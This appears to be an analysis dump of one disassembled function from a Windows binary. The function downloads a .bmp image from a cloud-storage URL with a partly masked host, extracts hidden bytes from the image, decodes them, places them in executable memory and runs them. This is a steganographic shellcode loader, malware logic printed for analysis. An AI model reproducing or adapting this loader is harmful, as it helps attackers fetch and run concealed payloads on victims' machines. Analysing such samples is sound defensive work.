Function at 0x4011b0
Capabilities:
Initialize winhttp library
Prepare http request
Read http header
Receive http response

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1fdc
call fcn.00402b40
mov eax, dword [0x405004]
xor eax, esp
mov dword [esp + 0x1fd8], eax
push ebx
push esi
push edi
push 0x1800
lea eax, [esp + 0x74]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [esp + 0x147c]
mov dword [esp + 0x38], 0
mov dword [esp + 0x60], eax
add esp, 0xc
lea eax, [esp + 0x470]
mov dword [esp + 0x38], 0
mov dword [esp + 0x30], eax
lea eax, [esp + 0xc70]
mov dword [esp + 0x44], eax
lea eax, [esp + 0x70]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x1070]
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x870]
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x20]
push eax
push 0x80000000
push 0
push str.https:__xxxx.oss_cn_beijing.aliyuncs.com:80_xxx.bmp
mov dword [esp + 0x30], 0x3c
mov dword [esp + 0x50], 0x200
mov dword [esp + 0x60], 0x200
mov dword [esp + 0x38], 0x200
mov dword [esp + 0x58], 0x200
mov dword [esp + 0x44], 0x200
mov dword [esp + 0x68], 0x200
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push 0
push dword [esp + 0x3c]
mov dword [esp + 0x20], eax
push dword [esp + 0x38]
mov dword [esp + 0x6c], 4
push eax
mov dword [esp + 0x6c], 0
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push 0x100
push 0
push 0
push str.HTTP_1.1
push dword [esp + 0x5c]
mov dword [esp + 0x24], eax
push str.HEAD
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov esi, eax
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call ebx
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
push 0
push esi
call edi
lea eax, [esp + 0x5c]
push eax
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push 0x20000005
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push 0x100
push 0
push 0
push str.HTTP_1.1
push dword [esp + 0x5c]
push 0x4031f8
push dword [esp + 0x28]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
push 0
push 0
push 0
push 0
push 0
mov esi, eax
push 0
push esi
mov dword [esp + 0x28], esi
call ebx
push 0
push esi
call edi
push dword [esp + 0x1c]
call fcn.00401e4c
add esp, 4
mov ebx, eax
mov dword [esp + 0x14], ebx
push dword [esp + 0x1c]
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
add esp, 0xc
mov edi, dword [esp + 0xc]
lea eax, [esp + 0x64]
push eax
push dword [esp + 0x20]
push ebx
push edi
call esi
cmp dword [esp + 0x64], 0
je 0x401386
mov esi, dword [ebx + 0xa]
lea eax, [esp + 0x1870]
push 0x76c
push 0
add esi, 3
push eax
add esi, ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [esi]
test al, al
je 0x401427
cmp al, 0xff
je 0x401427
mov byte [esp + ecx + 0x1870], al
mov al, byte [esi + 4]
test al, al
je 0x401427
cmp al, 0xff
je 0x401427
mov byte [esp + ecx + 0x1871], al
mov al, byte [esi + 8]
test al, al
je 0x401427
cmp al, 0xff
je 0x401427
mov byte [esp + ecx + 0x1872], al
mov al, byte [esi + 0xc]
test al, al
je 0x401427
cmp al, 0xff
je 0x401427
mov byte [esp + ecx + 0x1873], al
mov al, byte [esi + 0x10]
test al, al
je 0x401427
cmp al, 0xff
je 0x401427
mov byte [esp + ecx + 0x1874], al
add esi, 0x14
add ecx, 5
cmp ecx, 0x76c
jl 0x4013c0
lea edi, [esp + 0x1870]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x401431
push 0
sub edi, ecx
lea eax, [esp + 0x1874]
push 4
shr edi, 1
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
test edi, edi
je 0x40148a
lea ebx, [esp + 0x1870]
nop dword [eax]
lea eax, [esp + 0x68]
push eax
push 0x403200
push ebx
call fcn.00401010
mov al, byte [esp + 0x74]
add esp, 0xc
mov byte [esp + esi + 0x1870], al
add ebx, 2
inc esi
cmp esi, edi
jb 0x401460
mov ebx, dword [esp + 0x14]
push 4
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
lea eax, [esp + 0x1870]
push edi
push eax
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [esp + 0x6c]
push eax
push 0x10
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
push 1
push ebx
call fcn.00401e3e
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
add esp, 8
push dword [esp + 0xc]
call esi
push dword [esp + 0x10]
call esi
push dword [esp + 0x18]
call esi
mov ecx, dword [esp + 0x1fe4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401e00
mov esp, ebp
pop ebp
ret